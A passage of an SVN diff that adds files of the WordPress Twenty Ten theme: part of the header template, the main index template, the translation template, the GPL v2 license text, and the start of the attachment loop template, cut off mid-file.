+
+	wp_title( '|', true, 'right' );
+
+	// Add the blog name.
+	bloginfo( 'name' );
+
+	// Add the blog description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		echo " | $site_description";
+
+	// Add a page number if necessary:
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		echo esc_html( ' | ' . sprintf( __( 'Page %s', 'twentyten' ), max( $paged, $page ) ) );
+
+	?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<?php
+	/*
+	 * We add some JavaScript to pages with the comment form
+	 * to support sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	/*
+	 * Always have wp_head() just before the closing </head>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to add elements to <head> such
+	 * as styles, scripts, and meta tags.
+	 */
+	wp_head();
+?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="wrapper" class="hfeed">
+	<div id="header">
+		<div id="masthead">
+			<div id="branding" role="banner">
+				<?php $heading_tag = ( is_home() || is_front_page() ) ? 'h1' : 'div'; ?>
+				<<?php echo $heading_tag; ?> id="site-title">
+					<span>
+						<a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a>
+					</span>
+				</<?php echo $heading_tag; ?>>
+				<div id="site-description"><?php bloginfo( 'description' ); ?></div>
+
+				<?php
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) ) {
+						/*
+						 * We need to figure out what the minimum width should be for our featured image.
+						 * This result would be the suggested width if the theme were to implement flexible widths.
+						 */
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					} else {
+						$header_image_width = HEADER_IMAGE_WIDTH;
+					}
+
+					// Check if this is a post or page, if it has a thumbnail, and if it's a big one
+					if ( is_singular() && current_theme_supports( 'post-thumbnails' ) &&
+							has_post_thumbnail( $post->ID ) &&
+							( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-thumbnail' ) ) &&
+							$image[1] >= $header_image_width ) :
+						// Houston, we have a new header image!
+						echo get_the_post_thumbnail( $post->ID );
+					elseif ( get_header_image() ) :
+						// Compatibility with versions of WordPress prior to 3.4.
+						if ( function_exists( 'get_custom_header' ) ) {
+							$header_image_width  = get_custom_header()->width;
+							$header_image_height = get_custom_header()->height;
+						} else {
+							$header_image_width  = HEADER_IMAGE_WIDTH;
+							$header_image_height = HEADER_IMAGE_HEIGHT;
+						}
+					?>
+						<img src="<?php header_image(); ?>" width="<?php echo esc_attr( $header_image_width ); ?>" height="<?php echo esc_attr( $header_image_height ); ?>" alt="" />
+					<?php endif; ?>
+			</div><!-- #branding -->
+
+			<div id="access" role="navigation">
+			  <?php /* Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff */ ?>
+				<div class="skip-link screen-reader-text"><a href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentyten' ); ?>"><?php _e( 'Skip to content', 'twentyten' ); ?></a></div>
+				<?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assiged to the primary position is the one used. If none is assigned, the menu with the lowest ID is used. */ ?>
+				<?php wp_nav_menu( array( 'container_class' => 'menu-header', 'theme_location' => 'primary' ) ); ?>
+			</div><!-- #access -->
+		</div><!-- #masthead -->
+	</div><!-- #header -->
+
+	<div id="main">
Index: /tags/5.0.20/src/wp-content/themes/twentyten/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/index.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ * Learn more: https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the posts.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-index.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'index' );
+			?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/languages/twentyten.pot
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/languages/twentyten.pot	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/languages/twentyten.pot	(revision 56912)
@@ -0,0 +1,415 @@
+# Copyright (C) 2018 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Ten 2.7\n"
+"Report-Msgid-Bugs-To: https://wordpress.org/support/theme/twentyten\n"
+"POT-Creation-Date: 2018-12-18 17:42:13+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2018-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:16 loop.php:33
+msgid "Not Found"
+msgstr ""
+
+#: 404.php:18
+msgid "Apologies, but the page you requested could not be found. Perhaps searching will help."
+msgstr ""
+
+#: archive.php:34
+msgid "Daily Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:36
+msgid "Monthly Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:36
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:38
+msgid "Yearly Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:38
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:40
+msgid "Blog Archives"
+msgstr ""
+
+#: author.php:28
+msgid "Author Archives: %s"
+msgstr ""
+
+#: author.php:47 loop-single.php:46
+msgid "About %s"
+msgstr ""
+
+#: category.php:16
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:18
+msgid "This post is password protected. Enter the password to view any comments."
+msgstr ""
+
+#: comments.php:36
+msgid "One Response to %2$s"
+msgid_plural "%1$s Responses to %2$s"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:42 comments.php:62
+msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
+msgstr ""
+
+#: comments.php:43 comments.php:63
+msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: comments.php:73
+msgid "Comments are closed."
+msgstr ""
+
+#: footer.php:45
+msgid "https://wordpress.org/"
+msgstr ""
+
+#: footer.php:45
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:46
+msgid "Proudly powered by %s."
+msgstr ""
+
+#: functions.php:87
+msgid "Blue"
+msgstr ""
+
+#: functions.php:92
+msgid "Black"
+msgstr ""
+
+#: functions.php:97
+msgid "Medium Gray"
+msgstr ""
+
+#: functions.php:102
+msgid "Light Gray"
+msgstr ""
+
+#: functions.php:107
+msgid "White"
+msgstr ""
+
+#: functions.php:130
+msgid "Primary Navigation"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:200
+msgid "Berries"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:206
+msgid "Cherry Blossoms"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:212
+msgid "Concave"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:218
+msgid "Fern"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:224
+msgid "Forest Floor"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:230
+msgid "Inkwell"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:236
+msgid "Path"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:242
+msgid "Sunset"
+msgstr ""
+
+#: functions.php:315 loop-attachment.php:119 loop.php:116 loop.php:144
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:411
+msgid "%s <span class=\"says\">says:</span>"
+msgstr ""
+
+#: functions.php:414
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#. translators: 1: date, 2: time
+
+#: functions.php:421
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: functions.php:421 functions.php:438
+msgid "(Edit)"
+msgstr ""
+
+#: functions.php:438
+msgid "Pingback:"
+msgstr ""
+
+#: functions.php:458
+msgid "Primary Widget Area"
+msgstr ""
+
+#: functions.php:460
+msgid "Add widgets here to appear in your sidebar."
+msgstr ""
+
+#: functions.php:469
+msgid "Secondary Widget Area"
+msgstr ""
+
+#: functions.php:471
+msgid "An optional secondary widget area, displays below the primary widget area in your sidebar."
+msgstr ""
+
+#: functions.php:480
+msgid "First Footer Widget Area"
+msgstr ""
+
+#: functions.php:482 functions.php:493 functions.php:504 functions.php:515
+msgid "An optional widget area for your site footer."
+msgstr ""
+
+#: functions.php:491
+msgid "Second Footer Widget Area"
+msgstr ""
+
+#: functions.php:502
+msgid "Third Footer Widget Area"
+msgstr ""
+
+#: functions.php:513
+msgid "Fourth Footer Widget Area"
+msgstr ""
+
+#: functions.php:549
+msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s"
+msgstr ""
+
+#: functions.php:558 loop-attachment.php:36
+msgid "View all posts by %s"
+msgstr ""
+
+#: functions.php:575
+msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: functions.php:577
+msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: functions.php:579
+msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: header.php:33
+msgid "Page %s"
+msgstr ""
+
+#: header.php:105
+msgid "Skip to content"
+msgstr ""
+
+#: loop-attachment.php:21
+msgid "Return to %s"
+msgstr ""
+
+#. translators: %s - title of parent post
+
+#: loop-attachment.php:23
+msgid "<span class=\"meta-nav\">&larr;</span> %s"
+msgstr ""
+
+#: loop-attachment.php:32
+msgid "<span class=\"%1$s\">By</span> %2$s"
+msgstr ""
+
+#: loop-attachment.php:43
+msgid "<span class=\"%1$s\">Published</span> %2$s"
+msgstr ""
+
+#: loop-attachment.php:53
+msgid "Full size is %s pixels"
+msgstr ""
+
+#: loop-attachment.php:56
+msgid "Link to full-size image"
+msgstr ""
+
+#: loop-attachment.php:63 loop-attachment.php:126 loop-page.php:30
+#: loop-single.php:59 loop.php:101 loop.php:124 loop.php:166
+msgid "Edit"
+msgstr ""
+
+#: loop-attachment.php:120 loop-page.php:29 loop-single.php:34 loop.php:145
+msgid "Pages:"
+msgstr ""
+
+#: loop-single.php:21 loop-single.php:64
+msgctxt "Previous post link"
+msgid "&larr;"
+msgstr ""
+
+#: loop-single.php:22 loop-single.php:65
+msgctxt "Next post link"
+msgid "&rarr;"
+msgstr ""
+
+#: loop-single.php:50
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: loop.php:25 loop.php:179
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: loop.php:26 loop.php:180
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: loop.php:35
+msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
+msgstr ""
+
+#: loop.php:62 loop.php:96
+msgctxt "gallery category slug"
+msgid "gallery"
+msgstr ""
+
+#: loop.php:83
+msgid "This gallery contains <a %1$s>%2$s photo</a>."
+msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
+msgstr[0] ""
+msgstr[1] ""
+
+#: loop.php:84
+msgid "Permalink to %s"
+msgstr ""
+
+#: loop.php:94
+msgid "View Galleries"
+msgstr ""
+
+#: loop.php:94 loop.php:97
+msgid "More Galleries"
+msgstr ""
+
+#: loop.php:97
+msgid "View posts in the Gallery category"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "Leave a comment"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "1 Comment"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "% Comments"
+msgstr ""
+
+#: loop.php:107
+msgctxt "asides category slug"
+msgid "asides"
+msgstr ""
+
+#: loop.php:152
+msgid "<span class=\"%1$s\">Posted in</span> %2$s"
+msgstr ""
+
+#: loop.php:161
+msgid "<span class=\"%1$s\">Tagged</span> %2$s"
+msgstr ""
+
+#: search.php:16
+msgid "Search Results for: %s"
+msgstr ""
+
+#: search.php:27
+msgid "Nothing Found"
+msgstr ""
+
+#: search.php:29
+msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
+msgstr ""
+
+#: sidebar.php:28
+msgid "Archives"
+msgstr ""
+
+#: sidebar.php:35
+msgid "Meta"
+msgstr ""
+
+#: tag.php:16
+msgid "Tag Archives: %s"
+msgstr ""
+#. Theme Name of the plugin/theme
+msgid "Twenty Ten"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "https://wordpress.org/themes/twentyten/"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid "The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the \"Asides\" and \"Gallery\" categories, and has an optional one-column page template that removes the sidebar."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Author URI of the plugin/theme
+msgid "https://wordpress.org/"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "One column, no sidebar"
+msgstr ""
Index: /tags/5.0.20/src/wp-content/themes/twentyten/license.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/license.txt	(revision 56912)
@@ -0,0 +1,281 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc. 
+              51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
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+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
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+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
Index: /tags/5.0.20/src/wp-content/themes/twentyten/loop-attachment.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/loop-attachment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/loop-attachment.php	(revision 56912)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * The loop that displays an attachment
+ *
+ * The loop displays the posts and the post content. See
+ * https://codex.wordpress.org/The_Loop to understand it and
+ * https://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-attachment.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<?php if ( ! empty( $post->post_parent ) ) : ?>
+					<p class="page-title"><a href="<?php echo esc_url( get_permalink( $post->post_parent ) ); ?>" title="<?php echo esc_attr( sprintf( __( 'Return to %s', 'twentyten' ), strip_tags( get_the_title( $post->post_parent ) ) ) ); ?>" rel="gallery"><?php
+						/* translators: %s - title of parent post */
+						printf( __( '<span class="meta-nav">&larr;</span> %s', 'twentyten' ), get_the_title( $post->post_parent ) );
+					?></a></p>
+				<?php endif; ?>
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<h2 class="entry-title"><?php the_title(); ?></h2>
+
+					<div class="entry-meta">
+						<?php
+							printf( __( '<span class="%1$s">By</span> %2$s', 'twentyten' ),
+								'meta-prep meta-prep-author',
+								sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+									get_author_posts_url( get_the_author_meta( 'ID' ) ),
+									esc_attr( sprintf( __( 'View all posts by %s', 'twentyten' ), get_the_author() ) ),
+									get_the_author()
+								)
+							);
+						?>
+						<span class="meta-sep">|</span>
+						<?php
+							printf( __( '<span class="%1$s">Published</span> %2$s', 'twentyten' ),
+								'meta-prep meta-prep-entry-date',
+								sprintf( '<span class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span>',
+									esc_attr( get_the_time() ),
+									get_the_date()
+								)
+							);
+							if ( wp_attachment_is_image() ) {
+								echo ' <span class="meta-sep">|</span> ';
+								$metadata = wp_get_attachment_metadata();
+								printf( __( 'Full size is %s pixels', 'twentyten' ),
+									sprintf( '<a href="%1$s" title="%2$s">%3$s &times; %4$s</a>',
+										esc_url( wp_get_attachment_url() ),
+										esc_attr( __( 'Link to full-size image', 'twentyten' ) ),
+										$metadata['width'],
+										$metadata['height']
+									)
+								);
+							}
+						?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-meta -->
+
+					<div class="entry-content">
+						<div class="entry-attachment">
+<?php if ( wp_attachment_is_image() ) :
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID )
+			break;
+	}
+
+	// If there is more than 1 image attachment in a gallery
+	if ( count( $attachments ) > 1 ) {
+		$k++;
+		if ( isset( $attachments[ $k ] ) )
+			// get the URL of the next image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+		else
+			// or get the URL of the first image attachment
+			$next_attachment_url = get_attachment_link( $attachments[0]->ID );
+	} else {
+		// or, if there's only 1 image attachment, get the URL of the image
+		$next_attachment_url = wp_get_attachment_url();
+	}
+?>
+						<p class="attachment"><a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+							/**
+							 * Filter the Twenty Ten default attachment width.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The default attachment width in pixels. Default 900.
+							 */
+							$attachment_width  = apply_filters( 'twentyten_attachment_size', 900 );
+							/**
+							 * Filter the Twenty Ten default attachment height.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The default attachment height in pixels. Default 900.
+							 */
+							$attachment_height = apply_filters( 'twentyten_attachment_height', 900 );
+							echo wp_get_attachment_image( $post->ID, array( $attachment_width, $attachment_height ) ); // filterable image width with, essentially, no limit for image height.
+						?></a></p>
+
+						<div id="nav-below" class="navigation">
+							<div class="nav-previous"><?php previous_image_link( false ); ?></div>
+							<div class="nav-next"><?php next_image_link( false ); ?></div>
+						</div><!-- #nav-below -->
+<?php else : ?>
+						<a href="<?php echo esc_url( wp_get_attachment_url() ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php echo esc_html( basename( get_permalink() ) ); ?></a>
